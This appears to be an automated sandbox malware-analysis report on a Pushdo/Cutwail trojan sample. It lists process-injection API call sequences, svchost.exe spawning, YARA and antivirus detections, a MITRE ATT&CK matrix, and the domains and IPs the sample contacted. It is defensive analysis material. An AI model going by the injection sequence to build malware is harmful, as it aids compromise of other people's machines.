Code function: 0_2_040020B0 GetEnvironmentVariableA,lstrcatA,lstrcatA,lstrcatA,VirtualAlloc,CreateProcessA,VirtualFree,VirtualAllocEx,VirtualAllocEx,TerminateProcess,CloseHandle,CloseHandle,VirtualFree,WriteProcessMemory,TerminateProcess,CloseHandle,CloseHandle,VirtualFree,VirtualFree,GetThreadContext,TerminateProcess,CloseHandle,CloseHandle,WriteProcessMemory,TerminateProcess,CloseHandle,CloseHandle,SetThreadContext,ResumeThread,TerminateProcess,CloseHandle,CloseHandle,

0_2_040020B0

Contains functionality to inject threads in other processes

Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Code function: 0_2_04002510 VirtualAlloc,VirtualAllocEx,VirtualAllocEx,VirtualFree,WriteProcessMemory,VirtualFree,VirtualFree,CreateRemoteThread,	0_2_04002510
Source: C:\Users\user\pigalicapi.exe	Code function: 2_2_04002510 VirtualAlloc,VirtualAllocEx,VirtualAllocEx,VirtualFree,WriteProcessMemory,VirtualFree,VirtualFree,CreateRemoteThread,	2_2_04002510
Source: C:\Users\user\pigalicapi.exe	Code function: 6_2_04002510 VirtualAlloc,VirtualAllocEx,VirtualAllocEx,VirtualFree,WriteProcessMemory,VirtualFree,VirtualFree,CreateRemoteThread,	6_2_04002510
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_04001DC0 VirtualAlloc,VirtualAllocEx,VirtualAllocEx,VirtualFree,WriteProcessMemory,VirtualFree,VirtualFree,CreateRemoteThread,	10_2_04001DC0

Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior

Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\iJzpyjAehB.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\iJzpyjAehB.exe

Code function: 0_2_04007250 wsprintfA,RegOpenKeyExA,RegQueryValueExA,GetLocalTime,RegCloseKey,

0_2_04007250

Source: C:\Users\user\Desktop\iJzpyjAehB.exe

0_2_04008F80

Stealing of Sensitive Information

Yara detected Backdoor Pushdo

Source: Yara match	File source: 2.2.pigalicapi.exe.4000000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.pigalicapi.exe.10004088.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.iJzpyjAehB.exe.10004088.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.pigalicapi.exe.2260000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.pigalicapi.exe.2261e88.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.pigalicapi.exe.2260000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.pigalicapi.exe.7e0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.pigalicapi.exe.10004088.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.iJzpyjAehB.exe.2380000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.svchost.exe.4000000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.iJzpyjAehB.exe.4000000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.pigalicapi.exe.2261e88.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.pigalicapi.exe.7e0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.svchost.exe.4000000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.pigalicapi.exe.10004088.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.iJzpyjAehB.exe.10004088.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.iJzpyjAehB.exe.2381e88.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.pigalicapi.exe.7e1e88.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.pigalicapi.exe.7e1e88.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.pigalicapi.exe.4000000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.iJzpyjAehB.exe.2380000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.pigalicapi.exe.10004088.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.iJzpyjAehB.exe.2381e88.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.svchost.exe.4000000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.608690490.0000000010004000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.607161240.0000000010004000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.567367147.00000000007E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.607986528.0000000010004000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.567130920.0000000002260000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.571934007.0000000002380000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	3 Native API	1 Windows Service	1 Windows Service	111 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	Exfiltration Over Other Network Medium	21 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 Data Encrypted for Impact
Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	611 Process Injection	21 Virtualization/Sandbox Evasion	LSASS Memory	221 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	4 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	611 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	4 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	25 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	15 System Information Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
iJzpyjAehB.exe	52%	ReversingLabs	Win32.Trojan.Cutwail
iJzpyjAehB.exe	24%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\pigalicapi.exe	52%	ReversingLabs	Win32.Trojan.Cutwail

Unpacked PE Files

Source	Detection	Scanner	Label	Download
10.2.svchost.exe.4004000.4.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.2.iJzpyjAehB.exe.3520000.8.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.3.svchost.exe.6c00000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.3.iJzpyjAehB.exe.23b0000.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.2.iJzpyjAehB.exe.10004088.12.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
11.2.svchost.exe.400000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
6.2.pigalicapi.exe.2390000.4.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
2.3.pigalicapi.exe.30d0000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.2.svchost.exe.13140000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
10.3.svchost.exe.54a0000.3.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
2.2.pigalicapi.exe.4000000.9.unpack	100%	Avira	TR/Spy.Gen	Download File
2.3.pigalicapi.exe.23e0000.1.unpack	100%	Avira	TR/ATRAPS.Gen	Download File
12.2.svchost.exe.4004000.5.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
12.3.svchost.exe.3be0000.3.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
6.2.pigalicapi.exe.2260000.3.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
2.2.pigalicapi.exe.7ee118.2.unpack	100%	Avira	TR/Downloader.Gen	Download File
6.3.pigalicapi.exe.3170000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.3.svchost.exe.54a0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen2	Download File
19.2.svchost.exe.4000000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
2.2.pigalicapi.exe.10004088.11.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
11.2.svchost.exe.4004000.3.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
12.3.svchost.exe.54a0000.2.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
10.2.svchost.exe.4036a00.3.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.2.iJzpyjAehB.exe.10010318.11.unpack	100%	Avira	TR/Downloader.Gen	Download File
12.2.svchost.exe.4036a00.2.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
26.2.svchost.exe.13140000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
6.2.pigalicapi.exe.10010318.10.unpack	100%	Avira	TR/Downloader.Gen	Download File
11.3.svchost.exe.2df0000.5.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
23.2.svchost.exe.4000000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
12.3.svchost.exe.3be0000.7.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
12.2.svchost.exe.4000000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.3.svchost.exe.2df0000.7.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
2.2.pigalicapi.exe.7e0000.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
12.3.svchost.exe.55a0000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
2.3.pigalicapi.exe.23c0000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
10.3.svchost.exe.5720000.7.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
12.2.svchost.exe.4050e00.4.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
11.2.svchost.exe.4000000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.3.iJzpyjAehB.exe.af0000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
2.2.pigalicapi.exe.10010318.12.unpack	100%	Avira	TR/Downloader.Gen	Download File
11.2.svchost.exe.4050e00.4.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.2.iJzpyjAehB.exe.b10000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.3.svchost.exe.6c00000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.2.svchost.exe.400000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.iJzpyjAehB.exe.23b0000.6.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
26.2.svchost.exe.4000000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
0.2.iJzpyjAehB.exe.238e118.5.unpack	100%	Avira	TR/Downloader.Gen	Download File
24.2.svchost.exe.4000000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
6.2.pigalicapi.exe.226e118.2.unpack	100%	Avira	TR/Downloader.Gen	Download File
14.2.svchost.exe.4000000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
12.3.svchost.exe.54a0000.4.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
11.3.svchost.exe.2de0000.1.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
18.2.svchost.exe.4000000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
11.2.svchost.exe.4036a00.5.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.2.iJzpyjAehB.exe.4000000.9.unpack	100%	Avira	TR/Spy.Gen	Download File
6.3.pigalicapi.exe.2390000.1.unpack	100%	Avira	TR/ATRAPS.Gen	Download File
19.2.svchost.exe.13140000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
16.2.svchost.exe.7e520000.1.unpack	100%	Avira	TR/ATRAPS.Gen	Download File
6.3.pigalicapi.exe.31a0000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
14.2.svchost.exe.13140000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
10.2.svchost.exe.406b200.6.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
24.2.svchost.exe.13140000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
21.2.svchost.exe.13140000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
6.2.pigalicapi.exe.400e290.8.unpack	100%	Avira	TR/Downloader.Gen	Download File
11.3.svchost.exe.6c00000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
6.2.pigalicapi.exe.2261e88.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.3.iJzpyjAehB.exe.ac0000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
6.3.pigalicapi.exe.2280000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
2.2.pigalicapi.exe.30d0000.7.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
22.2.svchost.exe.7edb0000.1.unpack	100%	Avira	TR/ATRAPS.Gen	Download File
25.2.svchost.exe.13140000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
12.3.svchost.exe.27f0000.1.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
21.2.svchost.exe.4000000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
2.2.pigalicapi.exe.23e0000.6.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
18.2.svchost.exe.13140000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
22.2.svchost.exe.4000000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
10.2.svchost.exe.4050e00.2.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
15.2.svchost.exe.4000000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
11.3.svchost.exe.54a0000.2.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
12.2.svchost.exe.400000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.iJzpyjAehB.exe.2381e88.3.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.2.svchost.exe.7e670000.1.unpack	100%	Avira	TR/ATRAPS.Gen	Download File
6.2.pigalicapi.exe.31a0000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
2.2.pigalicapi.exe.7e1e88.3.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
11.3.svchost.exe.2df0000.3.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
23.2.svchost.exe.13140000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
12.2.svchost.exe.406b200.6.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
10.3.svchost.exe.55e0000.5.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
25.2.svchost.exe.4000000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
2.3.pigalicapi.exe.30a0000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
6.2.pigalicapi.exe.10004088.9.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
2.2.pigalicapi.exe.400e290.10.unpack	100%	Avira	TR/Downloader.Gen	Download File
10.3.svchost.exe.54a0000.2.unpack	100%	Avira	TR/Proxy.Gen	Download File
0.2.iJzpyjAehB.exe.400e290.10.unpack	100%	Avira	TR/Downloader.Gen	Download File
10.2.svchost.exe.4000000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.3.iJzpyjAehB.exe.23b0000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.2.svchost.exe.4000000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
11.3.svchost.exe.54a0000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
12.3.svchost.exe.54a0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen2	Download File
10.3.svchost.exe.3550000.1.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.lanouvelle.net/Economie/Affaires/2007-12-12/article-1328994/Deux-nouveaux-batiments-comme	0%	Avira URL Cloud	safe
http://pohlfood.com/wp-includes/js/wp-util.min.js?ver=26698c2509d8a9f37e69464fad7be5f1	0%	Avira URL Cloud	safe
http://www.indonesiamedia.com/wp-content/uploads/2021/07/logo.png	0%	Avira URL Cloud	safe
https://www.pcgrate.com/#webpage	0%	Avira URL Cloud	safe
http://www.dgmna.com/u	0%	Avira URL Cloud	safe
http://a-domani.com/	0%	Avira URL Cloud	safe
https://pohlfood.com/#website	0%	Avira URL Cloud	safe
http://pohlfood.com/wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.4-wc	0%	Avira URL Cloud	safe
http://skypearl.com/	0%	Avira URL Cloud	safe
https://inhouse.pohlfood.com/	0%	Avira URL Cloud	safe
http://fdlymca.org/	0%	Avira URL Cloud	safe
http://gpthink.com/product/204.html	0%	Avira URL Cloud	safe
http://www.myropcb.com/wp-content/themes/thematic/library/scripts/supersubs.js	0%	Avira URL Cloud	safe
http://pohlfood.com/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.11.0	0%	Avira URL Cloud	safe
http://www.stajum.com/2	0%	Avira URL Cloud	safe
http://univi.it/	0%	Avira URL Cloud	safe
http://likangds.com/	0%	Avira URL Cloud	safe
https://www.pwd.org/	0%	Avira URL Cloud	safe
http://www.valselit.com/174-appartement-a-vendre-grenoble-30514	0%	Avira URL Cloud	safe
http://www.elpro.si/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woo-rfq-for-woocommerce/gpls_assets/js/gpls_woo_rfq.js?ver	0%	Avira URL Cloud	safe
http://www.credo.edu.pl/	100%	Avira URL Cloud	malware
http://sigtoa.com/	0%	Avira URL Cloud	safe
https://pohlfood.com/comments/feed/	0%	Avira URL Cloud	safe
http://www.indonesiamedia.com/contact-us/	0%	Avira URL Cloud	safe
http://www.pwd.org/M	0%	Avira URL Cloud	safe
https://www.aevga.com/	0%	Avira URL Cloud	safe
http://pohlfood.com/wp-content/plugins/real3d-flipbook/js/flipbook.pdfservice.min.js?ver=3.25	0%	Avira URL Cloud	safe
http://www.naoi-a.com/	0%	Avira URL Cloud	safe
http://www.myropcb.com/services-capabilities/pcb-restoration/	0%	Avira URL Cloud	safe
http://www.abdg.com/	0%	Avira URL Cloud	safe
http://hes.pt/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/js/frontend.min.js?ver=3.3.1	0%	Avira URL Cloud	safe
http://www.pwd.org/_	0%	Avira URL Cloud	safe
http://www.myropcb.com/services-capabilities/stencil/	0%	Avira URL Cloud	safe
http://www.valselit.com/177-appartement-a-vendre-sigean-30378	0%	Avira URL Cloud	safe
http://www.myropcb.com/why-use-myro/	0%	Avira URL Cloud	safe
http://gholographic.com/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/themes/dt-the7/js/main.min.js?ver=9.12.0	0%	Avira URL Cloud	safe
http://pohlfood.com/wp-content/plugins/wc-product-table-pro/assets/css.min.css?ver=2.1.0	0%	Avira URL Cloud	safe
http://calvinly.com/	0%	Avira URL Cloud	safe
https://www.ora-ito.com/	0%	Avira URL Cloud	safe
https://tickets.suresupport.com/faq/article-1596/en	0%	Avira URL Cloud	safe
http://zugseil.com/	0%	Avira URL Cloud	safe
http://www.indonesiamedia.com/wp-content/themes/mag-theme/style.css?ver=4.9.22	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.woff?5.10.0)	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/uploads/the7-css/css-vars.css?ver=899328ee298e	0%	Avira URL Cloud	safe
http://ruzee.com/	0%	Avira URL Cloud	safe
http://myropcb.com/login/	0%	Avira URL Cloud	safe
http://www.winhui.cn/template/default/img/fixedimg4.png	0%	Avira URL Cloud	safe
http://redgiga.com/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/uploads/elementor/css/post-1009.css?ver=1677257013	0%	Avira URL Cloud	safe
http://www.jenco.co.uk/W	0%	Avira URL Cloud	safe
https://pohlfood.com/wp-content/uploads/iStock-1031193710b.jpg	0%	Avira URL Cloud	safe
https://pohlfood.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fpohlfood.com%2F	0%	Avira URL Cloud	safe
http://pohlfood.com/wp-content/plugins/elementor-pro/assets/css/frontend.min.css?ver=3.10.3	0%	Avira URL Cloud	safe
http://www.indonesiamedia.com/wp-content/themes/mag-theme/images/body-BG.png	0%	Avira URL Cloud	safe
http://www.jenco.co.uk/n	0%	Avira URL Cloud	safe
http://www.myropcb.com/why-use-myro/terms-of-service/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woo-discount-rules/v2/Assets/Js/site_main.js?ver=2.3.7	0%	Avira URL Cloud	safe
http://www.pcgrate.com	0%	Avira URL Cloud	safe
http://www.ora-ito.com/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/share-link/share-link.min.js?ver=3.3.	0%	Avira URL Cloud	safe
http://umcor.am/	0%	Avira URL Cloud	safe
http://shanks.co.uk/	0%	Avira URL Cloud	safe
https://www.naoi-a.com/	0%	Avira URL Cloud	safe
http://www.rsag.infod	0%	Avira URL Cloud	safe
http://arowines.com/	0%	Avira URL Cloud	safe
http://www.jenco.co.uk/s	0%	Avira URL Cloud	safe
https://dataform.co.uk/wp-signup.php?new=magicomm.co.uk	0%	Avira URL Cloud	safe
http://www.speelhal.net/R	0%	Avira URL Cloud	safe
https://www.pcgrate.com	0%	Avira URL Cloud	safe
http://oozkranj.com/	0%	Avira URL Cloud	safe
http://www.myropcb.com/wp-content/themes/framePCB/images/shopping_car.png	0%	Avira URL Cloud	safe
http://oaith.ca/	0%	Avira URL Cloud	safe
http://ramkome.com/	0%	Avira URL Cloud	safe
http://vonparis.com/	0%	Avira URL Cloud	safe
http://www.mobilnic.net/upload/img/201905280859514872.png	0%	Avira URL Cloud	safe
http://uhsa.edu.ag/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
holp-ai.com	59.106.13.169	true	false	high
impexnc.com	204.11.56.48	true	false	high
webways.com	188.114.97.3	true	false	high
www.fcwcvt.org	188.114.96.3	true	false	high
dayvo.com	188.114.96.3	true	false	high
hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com	3.130.204.160	true	false	high
enguita.net	195.5.116.23	true	false	high
15.204.18.132.datacname.com	15.204.18.132	true	false	high
dataform.co.uk	83.223.113.46	true	false	high
shteeble.com	185.106.129.180	true	false	high
evcpa.com	192.124.249.10	true	false	high
shittas.com	43.246.117.171	true	false	high
kallman.net	185.76.64.25	true	false	high
bible.org	104.20.54.214	true	false	high
missnue.com	104.21.234.121	true	false	high
gphpedit.org	127.0.0.1	true	false	high
jsaps.com	49.212.235.59	true	false	high
avse.hu	185.129.138.60	true	false	high
pohlfood.com	104.218.10.254	true	false	high
notis.ru	185.178.208.141	true	false	high
canasil.com	172.67.68.180	true	false	high
www.jenco.co.uk	104.21.23.9	true	false	high
www.tyrns.com	62.75.216.137	true	false	high
nts-web.net	49.212.235.175	true	false	high
willsub.com	69.89.107.122	true	false	high
shesfit.com	188.114.97.3	true	false	high
ldh.la.gov	75.2.95.235	true	false	high
www.vexcom.com	172.67.173.200	true	false	high
cpmteam.com	188.114.97.3	true	false	high
tcpoa.com	159.89.244.183	true	false	high
kevyt.net	104.21.2.101	true	false	high
www.mobilnic.net	154.203.14.100	true	false	high
s5w.com	192.99.226.184	true	false	high
www.sclover3.com	157.112.182.239	true	false	high
in1.smtp.messaginguser.com	66.111.4.70	true	false	high
paraski.org	94.130.164.242	true	false	high
dog-jog.net	153.122.24.177	true	false	high
kamptal.at	128.204.134.138	true	false	high
bd-style.com	107.165.223.27	true	false	high
ora.ecnet.jp	60.43.154.138	true	false	high
adventist.ro	172.67.183.62	true	false	high
www.edimart.hu	81.2.194.241	true	false	high
zupraha.cz	77.78.104.3	true	false	high
isom.org	192.124.249.14	true	false	high
any-s.net	185.104.28.238	true	false	high
muhr-soehne.de	5.189.171.125	true	false	high
www.railbook.net	81.171.22.7	true	false	high
hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com	54.161.222.85	true	false	high
oaith.ca	192.124.249.12	true	false	high
akr.co.id	172.67.33.252	true	false	high
shztm.ru	52.50.65.32	true	false	high
www.abdg.com	192.252.154.18	true	false	high
www.spanesi.com	5.196.166.214	true	false	high
aiolos-sa.gr	188.114.96.3	true	false	high
usadig.com	198.100.146.220	true	false	high
metaforacom.com	185.42.105.162	true	false	high
dhh.la.gov	52.200.51.73	true	false	high
gmail-smtp-in.l.google.com	142.250.27.27	true	false	high
fdlymca.org	192.124.249.9	true	false	high
smtp1.sbc.mail.am0.yahoodns.net	66.163.170.48	true	false	high
assideum.com	52.219.178.104	true	false	high
www.hyabmagneter.se	172.67.209.90	true	false	high
